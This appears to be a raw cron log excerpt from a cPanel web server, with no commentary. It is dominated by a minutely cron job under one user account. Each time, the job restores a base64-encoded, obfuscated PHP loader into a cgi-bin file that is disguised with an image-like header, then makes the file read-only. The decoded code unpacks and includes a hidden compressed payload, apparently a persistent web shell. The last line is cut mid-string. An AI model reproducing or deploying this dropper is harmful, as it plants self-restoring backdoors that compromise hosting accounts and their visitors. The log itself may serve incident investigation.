Apr 10 07:01:01 server CROND[15955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:01:01 server run-parts(/etc/cron.hourly)[15954]: starting 0anacron
Apr 10 07:01:01 server run-parts(/etc/cron.hourly)[15968]: finished 0anacron
Apr 10 07:02:01 server CROND[16122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:03:01 server CROND[16190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:04:01 server CROND[16251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:05:01 server CROND[16304]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 07:05:01 server CROND[16305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 07:05:01 server CROND[16307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:05:01 server CROND[16306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 07:06:01 server CROND[16419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:07:01 server CROND[16579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:08:01 server CROND[16644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:09:01 server CROND[16707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:09:01 server CROND[16708]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 07:10:01 server CROND[16779]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 07:10:01 server CROND[16780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 07:10:01 server CROND[16781]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 07:10:01 server CROND[16782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:11:01 server CROND[16891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:12:01 server CROND[17048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:12:01 server CROND[17049]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 07:13:01 server CROND[17155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:14:01 server CROND[17218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSV